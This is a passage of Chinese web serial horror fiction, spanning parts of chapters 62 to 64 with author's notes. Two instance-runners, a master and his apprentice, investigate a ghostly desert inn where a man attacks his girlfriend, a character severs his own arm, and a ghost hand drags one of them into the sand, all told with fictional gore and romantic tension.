楚明铮任由小鬼婴在他怀里爬着玩了半个钟头,这才略带困倦的把孩子从身上搂下来,环进怀里盖上被子睡觉去了。 齐栩靠在床头,始终睁着眼睛没有睡着,静静的盯着天花板,一声也不吭。 他沉默了大半个钟头,忽然来了兴致,支起身子侧头去看楚明铮的睡颜。 楚明铮正合着眼睛,胸膛起伏的幅度很浅,一点声音都没有,可以看出睡的并不熟,但是手臂下意识收拢住,呈保护姿态的搂着小鬼婴。 沙漠里的月光透过窗沿洒在他高挺的鼻梁上,将楚明铮的整张脸笼上了一层柔和薄雾般的光亮。 楚明铮其实是男人里偏秀气的那种长相,肤色白净,腰细腿直,骨肉匀亭且漂亮。 就是平时大家长气势太强,加上脾气过于暴躁,把他身上那股子文秀的气质给压下去了。 否则如果单看脸的话,绝对看不出来一点攻击性。 就像现在这样,他睡着时这样。 齐栩支着下颌,有点着迷的看着师父安静睡着时的面容,只觉月夜静谧,宛若油画。 直到一声尖叫打破寂静。 楚明铮猛然从睡梦中惊醒,瞬间睁开眼睛,直勾勾对视上齐栩俯身时专注的眼神,险些没一巴掌将这神经病从床上掀翻下去。 “你有病啊!你大半夜不睡觉在这儿看我干什么?!”楚明铮起身又惊又怒道。 齐栩被他惊醒的瞬间,条件反射的扇了一巴掌,痛的捂着额头蜷缩回被窝里呜咽:“我就是觉得你好看……师父,你下手太重了。” “我好看个鬼!你不犯病我难道会打你吗?”楚明铮怒道。 果然,此人一旦醒了就不行,醒了以后那安详冷美人的形象就破裂了,齐栩伤心的想到。 “快穿衣服,那女孩好像又出事了。” 楚明铮无暇理会他,飞快的从床上跳起来,顺手把小鬼婴往被子里一卷,火速就出门去了。 齐栩没办法,只得跟着他一路出门,往隔壁情侣的房间里冲过去。 燕欢的惨叫声回荡在整个客栈里,声音极其惨烈,一浪高过一浪,仿佛遭遇了什么极其可怕的事情,尖叫声似乎下一秒就要把整个天花板都掀翻过去了。 楚明铮没有分毫怠慢,三步并做两步穿过走廊,一脚踹开门板,破门而入。 江寻正跨坐在女朋友身上,他低着头,看不清具体神色,手里拿着一把尖刀,刀柄朝上刀尖朝下,对准身下的燕欢,将刀尖拼命往下一扎! 楚明铮一记横腿飞扫过去,不偏不倚刚好踹中对方手骨,只听“当啷”一声脆响,刀柄从江寻指掌间脱手而飞,隔着好远的距离才砸落在地。 齐栩紧随其后,帮着楚明铮两下将江寻从燕欢身上拉拽起来,粗暴的扣着他的肩膀,强行将此人压制着按倒在地上。 “师父,有绑绳吗,我感觉这小子精神有点不正常啊,保险起见还是绑起来好了。”齐栩说道。 “自己找。”楚明铮吩咐道。 他俯身试图将虚软无力的燕欢从地上扶起来,不过很快他就发现事情没有他想的那么简单,江寻在他们赶到之前,应该就已经动手砍了这姑娘几下了。 燕欢大张着嘴巴,眼泪大颗大颗的往下滴淌,她躺在地上,完全起不来身,因为失血过多和极度害怕而动弹不得,全身的力气都凝聚在了手上,她紧紧抓着楚明铮的手臂,仿佛在抓一根救命稻草。 楚明铮俯身查看她的伤势,越看越凝重心惊。 燕欢的腹部已经被她男朋友用刀刃划开了一个血口,最开始隔着深色毛衣,楚明铮还看不清血口的深浅,只能闻到淡淡的血腥气。 “你怎么样,还站的起来吗?”楚明铮一迭声的道。 燕欢嘴唇蠕动着,却只能发出几个模糊不清的音节,她艰难的将手伸出去,挪到自己上衣下摆处,用尽全身力气,将毛衣掀了起来,露出腹部血呼刺啦的伤口。 偌大的刀口暴露在空气中,血水仿佛汩汩的泉水,一股一股的往外涌。 楚明铮倒抽了一口凉气。 “救救我……救我……”女孩的声音因为失血过多而变得沙哑,冰凉的指尖颤抖着拼命朝前探,求生欲几乎快能满溢出来了。 楚明铮强迫自己冷静下来,环顾四周,最后目光锁定齐栩。 齐栩莫名其妙:“看我干什么啊师父,我又不会给人治伤。” “给我消毒酒精和纱布。”楚明铮语速很快的命令道。 齐栩更为诧异,一手按着江寻,一手掀开自己外套下摆,给楚明铮示意自己两袖空空,没有这种东西。 “少装,去副本外帮我调,这点权限你还是有的,我知道。”楚明铮毫不怀疑的道。 齐栩沉默了一下,末了低头无奈的笑笑,说道:“好吧。” “你说的对,主控中心确实能给我调临时药物。”他抬手晃动了一下腕上的电子手表,只听滴滴两声,信号发射成功。 齐栩单手伸进口袋里,从兜里掏出了一卷纱布和一小罐酒精,凌空抛给了楚明铮。 楚明铮稳稳接过:“谢了,徒弟。” 齐栩被这称呼弄的一怔,半晌没有说话,在心里反复回放楚明铮这短短的四个字,一时间心里说不上来是什么滋味。 楚明铮立刻低头检查了燕欢的伤口,确定只有那一处极深的刀口过后,他伸手按住燕欢的肩膀,严肃道:“我先给你消毒止血,可能会有点疼,我也不能保证能完全止住,但是能把你存活下来的可能性提升到最大,我们试试。” 燕欢喘息着点头,她疼的已经完全讲不出话了,满头虚汗,嘴唇苍白,看起来痛苦到了极点。 这边楚明铮埋头救人,那边齐栩强迫自己收拢回心神,抓着江寻开始了第一轮审问。 “你为什么砍你女朋友?”齐栩攥紧他的肩膀,逼迫他抬头仰视着自己。 江寻双手被绑在身后,嘴里喃喃道:“她吃了……东西……” “什么东西?”齐栩没听清,靠近一点又问了一遍。 “她吃了美人骨血……我们要找美人骨血,美人骨血在她肚子里,我要把肉取出来,取出来……” “你从哪儿知道你女朋友吃过美人骨血的?”齐栩继续盘问:“你们这么多天一直在一起,她不可能背着你吃肉,怎么现在的小年轻处对象连这点信任都没有吗?” “就是她吃的!”江寻的情绪忽然激动起来,他歇斯底里的在齐栩手底下嚎叫。 “就是她吃的美人骨血,你们不要放过她!不要放过她!她吃人了,我们都吃人了,我们都吃了那个老太太!” 新的线索人物就这么猝不及防的倏然跳到了两人面前。 齐栩赶忙逼供追问:“什么老太太?!你重新说一遍,谁吃了老太太?” 江寻张口粗声喘着气,喘着喘着,一行晶莹的口水就从嘴角倏然淌下,化作一条细长的银丝线,淌落到下颌上。 齐栩嫌弃的甩了一下手,躲开了他滴滴答答的恶心口水,抬腿在他身上踹了一脚,将他撂翻在地上。 “师父,他太恶心了,他差点把口水糊了我一手!”齐栩转头告状。 楚明铮将最后一块纱布绕着燕欢的腰身缠绕一周,勉强止住了少女腹部的血水,燕欢气息奄奄的躺在地上,一动都不动,也不知道还有没有活气。 楚明铮伸手在她鼻息上探了片刻,确定呼吸是稳定的,只是有点微弱,这才松了口气收回手。 从燕欢身侧站起来,走到齐栩旁边。 “他到底说出什么有用的没有?” 齐栩摇摇头:“他一直在重复同一句话。” 楚明铮的眉心拧了起来,他直觉齐栩接下来要说的事情不太妙。 “我们吃了一个老太太。”齐栩道。 楚明铮不解的看着他, 齐栩加重语气,又解释似的重复了一遍:“他一直在说这句话。” “我们吃了一个老太太。”—— 作者有话说:明天再写……困的眼睛都睁不开了…… 第63章 沙漠,干尸(七) “你他妈不是总跟我…… 我们吃了一个老太太。 这话要是放在平时,旁人或许都会将其理解成一个不太好笑的玩笑。 然而放在此情此景里,绝对难以令人笑出声。 齐栩一边用鞋底将江寻被捆缚的身形踩的更低,一边在心里把这句话琢磨过来,琢磨过去…… “老太太?”齐栩百思不得其解的抬头问楚明铮。 “我们这个副本里哪有老太太?”齐栩一头雾水:“难道是那个传说中的西域女尸?按年龄来说,她是唯一一个能被称之为老太太的角色了。” “难不成要我们在沙漠里真把什么西域女尸的干尸给找出来吗?” 他自己一边说着,一边自己又把自己给否决掉了:“……开什么玩笑,这么大个沙漠,一寸一寸刨土挖尸体,得找到猴年马月去。” “……师父你觉得呢?”他拽了拽楚明铮的袖子问。 楚明铮低着头思索,眼睫微垂,看不清神色,这个姿势让他显得格外捉摸不透。 “师父?” 楚明铮缓慢的回神过来,转身跟齐栩对视,报出了自己的答案:“我觉得……是宋楚秀。” 齐栩蓦然噤声,两人面色凝重,像是不约而同想到了什么。 “行了,咱们自己再怎么琢磨都没用,想办法从他嘴里撬出点有用的,给你个任务。” 楚明铮拍了拍齐栩的肩膀,示意他不要琢磨了:“我去楼下弄点早饭,你在楼上看着他俩,实在不行就给这男的上手段,什么老虎凳拔指甲你能想到什么全都来一遍,看他交不交代。” 齐栩头顶一排乌鸦飞过,心里咆哮出声,你当我是军统特务吗?! 楚明铮交代完徒弟,刚要打算下楼去,那边燕欢忽然动了一下,喉咙里发出一点几不可闻的呻吟:“我看见……” 楚明铮脚步一顿,立刻停在原地,返身回去仔细听她睡梦中的低语。 不过他很快意识到燕欢其实并没有在说梦话,她就是在竭尽所能,把最后的一点信息说给楚明铮听。 “我洗澡的时候……老板娘,咳咳……老板娘就在门口看我……我不会看错的,我认识她的……眼睛。” 这番话用尽了她最后一点力气,说完就头一歪彻底昏过去了,留下楚明铮和齐栩面面相觑。 楚明铮深吸一口气,低声道:“我下楼去会会宋楚秀。” “别打草惊蛇啊。”齐栩不放心道。 楚明铮心不在焉的挥挥手,推门出去了。 直到门板终于从外边被严丝合缝的扣上,齐栩才默默的又垂下脑袋,把目光对准了江寻。 江寻仍然维持着那个被捆的死紧的姿势,半跪半趴的卧在地上。 他没有展露出什么屈辱的神色,眼神飘忽的厉害,活像是灵魂离体,齐栩怀疑他现在其实连自己在什么地方都不知道。 齐栩百无聊赖的在地上蹲着,半晌拍了拍手,起身把江寻拎到了窗户边去。 “其实审讯这活儿,我已经很多年不干了,不过既然师父吩咐了我,要我从你嘴里掏出点东西出来……那我也没办法,只好捡起来再试试了。” 他慢斯条理的整理了一下衣袖,把袖口稍微往上拽了一些。 然后一步一步的逼近了江寻。 江寻懵懂而茫然的眼睛仍然漫无目的的飘散在空中,全然不知危险已经近在眼前。 楚明铮缓步走到楼下,没一会儿,就听到二楼传来那个年轻男人痛到神志不清的惨叫。 他抬头瞥了一眼,对于齐栩的这种手段没做评价。 宋楚秀站在厨房的门槛边上,笑吟吟的跟他一起,朝楼上投去意味不明的一眼,转而对楚明铮道:“这一晚上真够折腾的,是不是?” “听老板娘的意思,你昨天晚上全程在场啊。”楚明铮也不急着开门见山,好整以暇的将手臂一抱,靠在门板边上跟她不紧不慢的打机锋。 宋楚秀笑道:“想不在场都难,你们弄那么大动静,客栈就这么点地方,我也是被动听见的啊。” 楚明铮点点头,故作不经意的又问:“你给那小姑娘烧水洗的澡?” “是啊。”宋楚秀承认的十分爽快:“怎么了?我好心把自家热水拿出来给她用,到最后可别落个埋怨。” 楚明铮似笑非笑:“奇怪,她一句话都没提过你,你为什么会怀疑她埋怨你了?” 宋楚秀伸出一只如削葱根的手指,轻轻点了点楚明铮的胸膛,嗔怪道:“你套我话啊……” 楚明铮站在原地任由她戳,片刻之后蓦然伸手握住了宋楚秀的指尖,将女人冰凉的像死人一样的指尖攥在手里,盯着她的眼睛微笑道:“那她为什么埋怨你啊?” 宋楚秀抬起那只没被楚明铮攥住的手,故作讶异的捂住嘴:“我都知道你套我话了,我怎么会接着回答你呢?” “帅哥,我只是上年纪了,我没痴呆好吗?” 楚明铮眼神一闪,迅速接话:“我可没觉得你上年纪了,你看起来比我岁数还小。” 这话倒不全是扯淡,起码从外形上来看,楚明铮和宋楚秀的确属于同龄人,都是三十出头的模样。 宋楚秀眼中神色更加妩媚,似乎被这句话极大的取悦到了。 她微笑的注视着楚明铮,嘴角很诡谲的形成一个勾起的怪异弧度。 隔了好长时间,她才轻声细语的说了一句:“我岁数可不小啦。” 二楼最外侧的那间房门被人从里侧拉开了。 李裴山迈着他沉重的脚步,正一点一点的从楼梯上往下挪动。 自从他的火枪被齐栩和楚明铮缴了之后,就一直维持着这个颓败而无力的情态,魂不守舍,仿佛收走了他的枪就是收走了他的命根子,连人带魂一起没了。 宋楚秀的注意力从楚明铮很快移到了李裴山身上。 李裴山慢吞吞的走到他俩身前,沙哑道:“我想吃东西。” 他抬起一双饿的泛绿光的眼睛,直勾勾的盯着老板娘。 这眼光让楚明铮很不舒服。 尽管他心里知道宋楚秀不一定是活人,也不一定需要他的保护,但是楚明铮还是下意识上前一步,挡在了李裴山面前,语气不虞的吩咐道:“回去,还没到饭点。” 李裴山置若罔闻,又重复了一遍:“我想吃东西。” “你还想挨揍吗?”楚明铮直截了当的问他。 李裴山也不知道是被打怕了,还是怎么样,身体居然幅度很大的瑟缩了一下,半晌没张口说话了。 宋楚秀在一旁又发出几声银铃般的笑声,她将手指从楚明铮的掌心里抽出来,宽容的朝李裴山抬了抬下巴。 “想吃饭啊?可以,去帮我把厨房的活做了就行。” 李裴山像一块老旧生锈的废铁,嘎吱嘎吱循着宋楚秀抬下颌的方向转动过去,然后他竟然真的毫无异议的进去了。 少倾,厨房里传来窸窸窣窣的捣鼓声。 楚明铮看的目瞪口呆,觉得这几个鬼的关系已经有点超出他的理解范畴了。 “你让他干的是什么活?”楚明铮问宋楚秀。 “一些对他有好处的事情。”宋楚秀心平气和的说。 她话音刚落,只听厨房里一阵刀锋摩擦的异动。 “啊啊啊啊啊啊啊——” 惨叫凄厉,划破长空。 楚明铮差点没给这突如其来的一嗓子吓出心脏病,他顾不上细想,一把推开虚掩着的厨房门。 只见李裴山整个人仿佛被钉死在了灶台前,他僵直的伸着一只胳膊,被迫直挺挺的放在案板上,另一只手握着菜刀,正将锋刃对准手臂,缓缓切割而下。 血水顺着他白花花的手臂肌肉流到案板上,李裴山已经疼到极点了,但是手上动作却怎么也停不下来,仿佛空中有一只看不见的手,正逼着他拿刀一点一点将自己的手臂齐根切断。 纵使楚明铮见多识广,也属实被这血腥残忍的一幕给震的立在了原地不敢上前。 “这就是你说的……对他有好处?”楚明铮僵着脖颈,侧眼去问宋楚秀。 “有没有觉得长在他身上的那只手,看起来很熟悉?”宋楚秀在他身后,吐气如兰的指点道。 楚明铮紧绷着神经,回答了一声:“有。” 就在两人倚着厨房门槛一问一答的间隙,李裴山已经将自己的左手完全的割断,血淋淋的放在案板上了。 那只断手,跟前天夜里袭击楚明铮和齐栩,后来又被血吸虫吞噬干净的雪白残手,一模一样。 楚明铮可算是知道那断手的来源了。 敢情这个副本里的时间线是乱套的,李裴山明明是今天才被操控砍断的手,可断手在昨天就已经袭击过他们了。 既然事物发展的规律和时间空间交替的情形是全部混乱的,那显然客栈里这几个人的关系就不能按照常理来推测。 也就是说,这群人的外貌特征,很有可能也是被打乱的。 那宋楚秀极有可能,还真是个老太太。 只是选择性的使用了年轻时的容貌,生活在这个沙漠副本里而已。 李裴山肝胆俱裂的哀声嚎叫,他一直到亲手将自己的手臂彻底砍断之后,才终于被解开了禁止,身体能自由活动了。 他捧着自己断掉的那只手臂,痛的双膝一弯,跪在地上,汗珠大颗大颗的从额头滚下来,生理性泪水跟粗重的喘息一起不要钱似的往外涌,浑身抖的不成样子。 “救命……救命,救救我……”他虚弱的朝厨房门口探头过来。 楚明铮后退一步,显然没有救他的兴趣。 李裴山不是燕欢,对楚明铮来说没有动恻隐之心的必要,昨天这人还拿枪指着他,楚明铮当然不会废那个功夫救他,毕竟齐栩能调用的纱布和酒精也是有限的。 再加上楚明铮骨子里还是端着点过去那个大家长的架子的,如非必要,他不想向齐栩求助太多。 宋楚秀更是抱臂立在一旁,心情很好的观赏他这副凄惨的模样,事不关己高高挂起。 李裴山哀嚎一声,一个猛子冲出门去,咚咚咚将客栈楼梯踩的山崩地裂,飞奔回房间,大概是自救去了。 苍白的断手仍然在案板上躺着。 断臂的横截面处狰狞血腥,从中淌下的血水淅淅沥沥,流了一地。 楚明铮沉默片刻,对宋楚秀评价道:“你这出……整得有点突然。” 宋楚秀不高兴道:“不是我砍的他,是他自己砍的,你明明看到了。” 楚明铮无言的看了这老板娘一眼,对这番强词夺理睁着眼睛说瞎话没发表意见。 就在这时,齐栩结束了他的审讯,推开门从二楼探了个头出来,冲他神情自若的招了招手,喊道:“师父,回来,江小哥有话要跟你说。” 楚明铮最后又看了一眼那只放在案板上的森然断手,随即转身上楼,没再跟宋楚秀过多纠缠了。 宋楚秀默然站在他的身后,神情逐渐阴冷,一双秀美的眉目间,尽是化不开的浓雾。 在所有人都没有察觉的地方,案板上的断手缓缓的蜷起了一个微小的弧度。 它的指尖轻轻在案板的木材上挠了挠,就好像……活了一样。 楚明铮快步返回卧室,跟齐栩并肩而立,气息奄奄的江寻正半死不活的躺在地上,他身上明明没有伤痕,整个人却平白无故比方才楚明铮出去的时候憔悴了几个档次,嘴唇死死抿起来,仿佛在承受某种极其惨烈的痛苦。 “你用的是什么手段?”楚明铮不动嘴唇的问。 齐栩耸了耸肩,温和道:“相信我,你不会想知道具体过程的,师父。” “行吧。”楚明铮叹了口气:“你问出什么来了?” “让他自己跟你说。”齐栩用鞋尖踢了踢江寻,开口命令道:“张嘴,把你刚才给我讲的话,再重复一遍。” 江寻这时候人也不飘忽了,魂魄也归位了,话虽然说的颠三倒四,但也勉强能表述清楚了。 “我,我身体不好,脑子里长了个肿瘤,没钱化疗,被……被医院赶出来了,小燕抱着我哭……说要给我,给我想办法,想办法一定治好我,我们俩这辈子不分开。” 江寻卧在地上,结结巴巴的道。 “她,她后来打听到,东边无人区沙漠里,有个失散多年的宝贝,叫美人……美人骨血,说是能治百病,她就跟我说。” “我当然不信,世界上哪有这种东西,都是那帮无良旅行团胡扯出来骗人玩的。” “但是我拗不过她,她一定要来,小燕说,就当是最后一次陪她旅行了,真要是治不好了,我俩一起死在大漠的余辉下,也挺好。” 江寻说着说着,眼眶湿润了。 “好感人。”齐栩毫无同情心的讽刺了一句:“还同生共死,大漠余晖……说的好像昨晚拿刀砍她的人不是你一样。” 楚明铮给了他一肘子,示意他别打岔。 “后来我俩来了沙漠,进了一家客栈,遇到了一个奇怪的男人,奇怪的男人给我们吃了老太太。” “对,他给我们吃了老太太,吃了老太太,吃了老太太……” 楚明铮:“……” “不是,这怎么又绕回老太太身上了,老太太这个点能不能扩展性的讲一下呢?”楚明铮崩溃道:“他到底吃的是什么,老太太这个东西到底是有多好吃,做了鬼都念念不忘?” 齐栩和颜悦色的伸手将楚明铮腰身一揽,搂到自己怀里,不轻不重的掐了一把他侧腰的软肉。 “你接着听他说下去嘛,师父,你不让我打岔,那你也不许打岔,这样才公平。” “松手!你别碰我腰!” 齐栩松开他的瞬间,江寻讲完了他的最后一句话。 “……可是吃了老太太的肉没多久,我就死了。” 楚明铮完全的怔在了原地,一时连扒拉齐栩都忘了。 “什么意思?”他茫然的问了一声齐栩。 齐栩还维持着想要抱他跟他黏糊的姿态,眼巴巴的摇摇头:“我也没听懂呢。” “但是我觉得这句话可以侧面pass掉他口中的老太太就是美人骨血的猜测,传闻中的美人骨血吃一口就起死回生,包治百病,容颜永驻……但是他口中的老太太,吃一口这不直接死逑了?” “老太太肯定不是美人骨血。” 楚明铮心念一动,俯身又问道:“你们那时候跟老板娘——” 卧室门板传来“咚咚”两声敲击声,楚明铮不得不停下话头,转头问了门外一声:“谁?” 没人回答他,下一秒门把手被倏然拧开! 一只断手从门缝里以迅雷不及掩耳之势飞飙而来!迎面攥住楚明铮的头发,迫使他向后倒退了一连数步! 那断手的速度实在是太快太快了,快的连齐栩都没反应过来。 等到齐栩惊怒的大喝一声,伸手要去拽楚明铮的时候,楚明铮已经顺着惯性被推搡到了窗台边缘,客栈的窗沿修的很低,掀开窗户差不多到楚明铮小腿位置。 那只断手不仅移动速度极快,而且明明身后毫无支点,动手时却堪称力大无穷,嗖嗖几下,一把将楚明铮仰面掀翻,逼着他整个人从窗沿上摔落下去。 断手紧随其后,一并跳了下去。 “师父!” 这一切都发生的太快太快了,楚明铮落地的瞬间甚至来不及回应他一声,脚踝就被一只冰冷的手猛然一拽! 大半个身体倏然陷进细软的沙粒堆里。 楚明铮拼命伸手扒住周围一切能扒住的东西,奈何他触之所及除了沙子只有沙子,越挣扎,身体下陷的越快,很快沉重的沙子就埋到了他的胸口。 楚明铮开始感觉呼吸困难,喘不上来气,眼睛一片一片的发黑。 说时迟那时快,齐栩在两秒都不到的时间里,翻出一把绳子,将绳子的一端当空抛给楚明铮:“师父!抓住那头,我拉你上来。” 楚明铮死死攥住绳子的末端,每一寸手指骨节都攥的生疼,泛白的关节发出令人牙酸的咯咯声。 齐栩用尽了吃奶的力气,却难以将他拽动分毫,反而楚明铮能感觉到自己下陷的速度越来越快了。 沙丘很快埋到了他的喉咙处。 楚明铮已经因为缺氧而逐渐力竭了,濒死的瞬间他的大脑仍然在飞快运转着。 那只鬼手此时就跟他的脚踝一起埋在沙子堆里,像个带有吸盘的八爪鱼一样,死死扣紧楚明铮的脚踝,一寸一寸的将他往下拉,逼他在沙堆里陷得越来越深。 也就是说,这只鬼手在跟齐栩玩一个拔河游戏。 而拔河的那条绳子,正是楚明铮这“条”人。 那就很可怕了。 齐栩的手劲和体力绝对是非常人所能及也的程度,连他都难以撼动这个鬼手的力道,而且跟这只鬼手比起来,齐栩显然不是很敢用尽全力,他也怕把楚明铮从中间扯成两半了。 绳子从中间骤然崩断,两人之间的连接线彻底分裂开来。 千钧一发之际,齐栩猛然扑过去,一把攥住楚明铮的手,他的眼泪夺眶而出:“师父,怎么办,我拽不过他。” 楚明铮一边费尽力气的喘息,一边骂道:“闭嘴,不许哭!” “你他妈不是总跟我叫嚣着说你长大了吗,不是一神之下万人之上的摄政官吗,一遇事就哭像什么样子?!”楚明铮怒道。 他跟齐栩交握的双手因为过度用力而在彼此的皮肤上落下一道道鲜明的指痕。 “去找李裴山,把他绑到这里来,他的手会认得他的。” “我还能撑一会儿,快去!”楚明铮怒吼。 齐栩转身就跑! 没一会儿就从屋子里把李裴山强行揪了出来,李裴山断了一只手,用粗布包裹着断裂的横截面,被齐栩猝不及防将止血的布料扯了,他痛的大叫一声,一边跌跌撞撞的跟着齐栩往沙漠里跑,一边拼命反抗。 齐栩一拳将他打的脑袋充血,逼着他跪在楚明铮面前的沙地上,一寸寸的弯腰下去。 李裴山大喊大叫着想回身跟齐栩互殴,单从体型上来看的话,他能分齐栩两倍大,但是齐栩的格斗技巧和身体素质远胜于他,他没一会儿就被折了另外一只手的手腕,被齐栩攥着那只还没愈合多久,又不幸重新涌出血水的断手,强行将血呼刺啦的横截面,插进了沙地里。 “啊啊啊啊啊啊——” 这是李裴山今天晚上第二次发出这么惨烈的哭嚎,痛,太痛了。 断手已经很痛了,把尚带鲜血和皮肉组织的断手处插进颗粒感十足的粗糙沙粒里,更是撕心裂肺的痛楚。 沙粒已经没过了楚明铮的下颌,他几乎已经停止呼吸了。 然而就在李裴山的断臂被插进沙地的那一瞬间,脚踝处的拉拽感蓦然停下,那断手感知到了母体的气息,一时之间仿佛一只在沙滩上挖洞的螃蟹,停止了对楚明铮的谋害,开始咯吱咯吱的从沙地里往外爬。 最终它爬出了沙堆,扬起一根手指,抖落抖落手背上的灰土和沙砾,一蹦一跳的蹿回了李裴山身上。 它当然不可能完全接回断手的横截面,只能往李裴山的臂弯里一跳,像个小孩子似的,安然蜷缩起来。 齐栩连滚带爬的奔到楚明铮身前,用最快的速度将人从沙子里刨了出来。 楚明铮眼睛翻白,仰头倒在他齐栩的臂弯里,半晌都换不过来胸口的气。 齐栩惊魂未定,脸上还带着混杂着沙土的眼泪,黑一块黄一块,显得格外狼狈。 “师父,师父你还好吧?”齐栩手足无措的抱着他,后怕的眼泪汹涌而下。 楚明铮蹙着眉心,胡乱摇了摇头。 齐栩湿湿热热的眼泪浸透了他的皮肤,弄的楚明铮颇为难受,哽着嗓子,好不容易喘了口气,这才有气无力的睁开眼睛。 “我说……” “你到底是怎么坐上这个位置的?”楚明铮胸口起伏,侧头躺在齐栩身上虚弱道。 “总积分排行榜上显示你过的副本不比我少,可你这经验怎么一点没长的样子……副本,副本都过到狗身上去了……” 很好,还有力气骂他,说明楚明铮伤的不重。 齐栩心底暗自松了口气,继续憋着眼泪,死撑着把这个危险的话题打岔过去了:“我只是关心则乱,师父。” “我平时其实还挺有经验的。” “闭嘴,没看出来。”楚明铮没好气的说。 “哦……” “哦什么哦,行了我没事了,你把那孙子给我绑来,我亲自问他。”楚明铮艰难的从齐栩怀里支撑起身,一个踉跄滚在沙地里,自己缓和了半晌,才重重吐出一口气,只觉胸口仍然疼的厉害,每呼吸一下,肺腔和喉管都火烧火燎的难受。 齐栩立刻按照他的吩咐去把李裴山连同他的断手一并抓来了。 为了防止断手再作妖,他专门用了个特制的道具网,将断手往里一包,再塞回李裴山兜里。 其实李裴山根本没有绑起来的必要,他断了一只手,一只手被齐栩刚才也拧折了,眼下毫无反抗能力,被迫倒在楚明铮面前的沙地上。 “你到底是什么人?”楚明铮开门见山。 李裴山张了张嘴,没发出声音。 齐栩恶狠狠的在他受伤的那只手上用力一按!剧痛再次霎时间传遍了李裴山的全身:“啊……啊啊……别按!” “我不记得了……” “我什么都不记得了,我只记得,我来过一个奇怪的沙漠……” “我来过一个沙漠,对,我来了沙漠……然后发生了什么,我想不起来了。” 齐栩在他身后“唰”的亮出随身携带的匕首,将刀锋搁在了李裴山的伤口处,冷冷的道:“想不起来?” “想不起来我就从你手臂断裂的这个地方开始,一寸寸的把你身上的肉,割成最薄的肉片,然后再扔到沙漠里晒成干肉脯,再逼你一片一片全吃下去。” “自己考虑清楚。” 李裴山的眼睛里泛起恐惧的泪光。 “我真的想不起来了,我就记得,我去了一个奇怪的沙漠,然后……” “然后,我死了。”—— 作者有话说:白天有事,晚上通宵写了七千[狗头叼玫瑰]本来想的是反正都通宵了,不如写一万凑个整。 想想还是算了,我比较喜欢现在这个章末卡点。 明天结束这个副本哦[狗头叼玫瑰] 第64章 沙漠,干尸(八) “冷静点好吗,小伙…… 最后一缕夕阳从大漠尽头徐徐落下,满目的夜色无边孤寂,头顶没有星星也没有月亮,沙漠里冷风呼呼的吹,卷起的沙粒沿着沙丘峰峦散开。 整个画面苍凉而寂寥,有种四面楚歌般的寂静空旷。 沙漠中央零星杵着三道人影,齐栩和楚明铮站着,李裴山一个人跪在沙地上,神情浑噩,嘴角还泛着被齐栩打出来的血印。 “我去了一个奇怪的沙漠。” “然后我死了。” 李裴山翻来覆去就是这句话,再问什么都问不出来了。 齐栩颇为气馁的踢了一脚地上的沙子,对楚明铮丧气道:“师父,我觉得他没撒谎,他是真的想不起来了。” 楚明铮盯着李裴山匍匐在地上蠕动的身形,缓缓点了点头:“嗯。” “线索又断了。” “每次都挖到临门一脚的时候,这些人就开始集体精神失常,说什么都想不起来了,好像他们从来沙漠到死亡的那一段记忆被真空掉了一样。”齐栩匪夷所思:“江寻也是,我用尽毕生手段,都没让他回忆起来。” 楚明铮瞥他一眼,忍不住开口嘲讽道:“真的假的?你对我用的那些手段怎么不给他同样来一遍?” 齐栩:“……” 齐栩沉默良久,深吸一口气解释道:“我没有在床上以外的地方,对你用过手段。” “哦,那你把他带床上去试试,说不准他就招了。” “楚明铮!” 楚明铮抬头笑了起来,明知故问:“喊我干什么?” “这种事情是能拿来开玩笑的吗?”齐栩又委屈又生气。 楚明铮将他随意逗了几句,欣赏着齐栩铁青的面容,纯当苦中作乐了。 齐栩一气之下将大步走过来,俯身将他攥着手腕一掀,楚明铮被迫顺着他的力道,仰面躺倒在沙地上。 他精疲力尽的伸出一根手指警告:“你别乱来啊,我刚死里逃生,胸口还疼着呢。” 齐栩将双臂撑在楚明铮的脑袋两侧,屈膝分开楚明铮的两条长腿,禁锢住他的动作,不让他乱动。 然后眼睛红红的看着楚明铮。 楚明铮躺在地上,跟他大眼瞪小眼半晌,最后无奈的伸出手,抵住齐栩的胸膛:“放开我,别闹。” “那你还说不说这种话了!”齐栩吼道。 “不说了不说了,快起来吧,现在是纠缠这个问题的时候吗……” 齐栩更委屈了:“可你这是在污蔑我,我没跟别人做过。” “不是……这事很重要吗?”楚明铮不解:“我又不在意你的私生活,你爱跟谁搞跟谁搞,我只是顺口说一句,你——” 齐栩忍无可忍,泄愤似的猛然低头,在楚明铮锁骨上狠狠咬了一口。 痛的楚明铮倒抽一口凉气,抬腿就要踹他。 齐栩的唇吻从他的锁骨上移到他的下颌和嘴唇,用尽全力侵略夺取,弄的楚明铮不得不停住话头,仰头微张着嘴唇承受这个吻。 楚明铮被他扣住后脑勺和腰身,吻的气喘吁吁,无论如何用力着想拧动腰身去躲避,都无济于事。 直到楚明铮濒临上不来气的边缘,齐栩才恶狠狠的松开了他的嘴,继续不依不饶。 “你凭什么不在意我的私生活?” “我为什么要在意你的私生活?”楚明铮眼底含了丝不甚明显的笑意,逗弄似的反问。 “楚明铮,你——”齐栩只觉自己快被他气哭了。 楚明铮眼睛里还盛着一湾接吻过后自然泛起的生理性泪水,那模糊的水雾淹没过他向来漠然平淡的瞳孔,蒸腾起一片浅淡的柔光。 “你喊我一声师父,我养你长大,就算是亲生父母,孩子成年以后想跟谁结婚谈恋爱生孩子,父母也管不着,你怎么还反其道而行之,希望我管你一辈子?” 因为我想跟你结婚谈恋爱生孩子啊!齐栩心里咆哮道。 齐栩心里是这么想的,但是话到嘴边还是没敢直截了当的说出来,换了个说法磕磕绊绊道:“你这话的意思……我,我听起来怎么感觉你想当我爸呢?!” “我青春期努力一把,生个孩子的话,岁数就应该跟你差不多大……你搁这儿胡搅蛮缠够了没有!给我起来!” 楚明铮的耐心终于告罄,用力挣开他的桎梏,一把将他从身上推开了。 李裴山仍然龟缩在沙地上,仿佛对他俩这边腻腻歪歪的场景视而不见。 “走吧,把他带回去,我觉得或许把这群人打包聚集在一起,碰一下运气,万一他们几个精神失常的疯子撞到一起,迸溅出不一样的火花……可能就有线索了。”楚明铮费劲的从地上站起来,拍了拍身上的沙子说道。 齐栩眼神幽怨的看着他,蹲在沙地上半天没动弹。 楚明铮不耐烦了:“我使唤不动你了是吗?” “过来把他带回客栈!” 齐栩不情不愿的站起身,过来将李裴山往起一拎,带着一并跟在楚明铮身后,缓缓朝客栈大门的方向走去。 进了客栈大门,两人没找到宋楚秀的踪影,于是直接拎着李裴山上了二楼。 燕欢病的更厉害了。 她跟江寻共处一个房间,齐栩走的时候没给江寻松绑,所以相对来说她还算安全。 